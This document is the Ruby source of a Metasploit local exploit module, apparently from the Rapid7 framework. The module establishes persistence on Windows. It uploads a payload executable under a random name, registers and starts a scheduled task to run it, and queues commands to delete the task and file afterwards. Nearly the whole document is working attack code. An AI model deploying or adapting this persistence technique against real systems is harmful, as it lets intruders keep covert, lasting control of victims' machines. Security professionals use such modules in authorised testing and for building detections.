📄 Windows Persistent Task Scheduler

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
      Rank = ExcellentRanking
    
      include Msf::Post::File
      include Msf::Exploit::EXE
      include Msf::Exploit::Local::Persistence
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Post::Windows::TaskScheduler
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Windows Persistent Task Scheduler',
            'Description' => %q{
              This module establishes persistence by creating a scheduled task to run a payload.
            },
            'License' => MSF_LICENSE,
            'Author' => [ 'h00die' ],
            'Platform' => [ 'win' ],
            'Privileged' => true,
            'SessionTypes' => [ 'meterpreter', 'shell' ],
            'Targets' => [
              [ 'Automatic', {} ]
            ],
            'DefaultTarget' => 0,
            'References' => [
              ['ATT&CK', Mitre::Attack::Technique::T1053_005_SCHEDULED_TASK],
              ['URL', 'https://learn.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page']
            ],
            'DisclosureDate' => '1998-05-15', # windows 98 release date which included "modern" task scheduler
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
              'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
            }
          )
        )
    
        register_options(
          [
            OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
            OptString.new('TASK_NAME', [false, 'The name of task. Random string as default.' ]),
          ]
        )
    
        # not needed since this is not remote
        deregister_options(
          'ScheduleRemoteSystem',
          'ScheduleUsername',
          'SchedulePassword',
          'ScheduleObfuscationTechnique' # prefer NONE so we can start our service
        )
      end
    
      def writable_dir
        d = super
        return session.sys.config.getenv(d) if d.start_with?('%')
    
        d
      end
    
      def check
        print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
        return CheckCode::Safe("#{writable_dir} doesn't exist") unless exists?(writable_dir)
    
        begin
          get_system_privs
        rescue StandardError
          return CheckCode::Safe('You need higher privileges to create scheduled tasks ')
        end
    
        CheckCode::Appears('Likely exploitable')
      end
    
      def upload_payload(dest_pathname)
        payload_exe = generate_payload_exe
        fail_with(Failure::UnexpectedReply, "Error writing payload to: #{dest_pathname}") unless write_file(dest_pathname, payload_exe)
        vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")
      end
    
      def install_persistence
        payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
        temp_path = writable_dir
        payload_pathname = temp_path + '\\' + payload_name + '.exe'
        upload_payload(payload_pathname)
    
        task_name = datastore['TASK_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
        vprint_status("Creating task: #{task_name}")
        begin
          task_create(task_name, payload_pathname, { obfuscation: 'NONE' })
        rescue TaskSchedulerObfuscationError => e
          print_warning(e.message)
          print_good('Task created without obfuscation')
        rescue TaskSchedulerError => e
          fail_with(Failure::UnexpectedReply, "Task creation error: #{e}")
        end
    
        vprint_status("Starting task: #{task_name}")
        task_start(task_name)
        schtasks_cmd = ['/delete', '/tn', task_name, '/f'] # taken from task_delete in task_scheduler.rb
        @clean_up_rc << "execute -f cmd.exe -a \"/c #{get_schtasks_cmd_string(schtasks_cmd)}\"\n"
        @clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"
      end
    end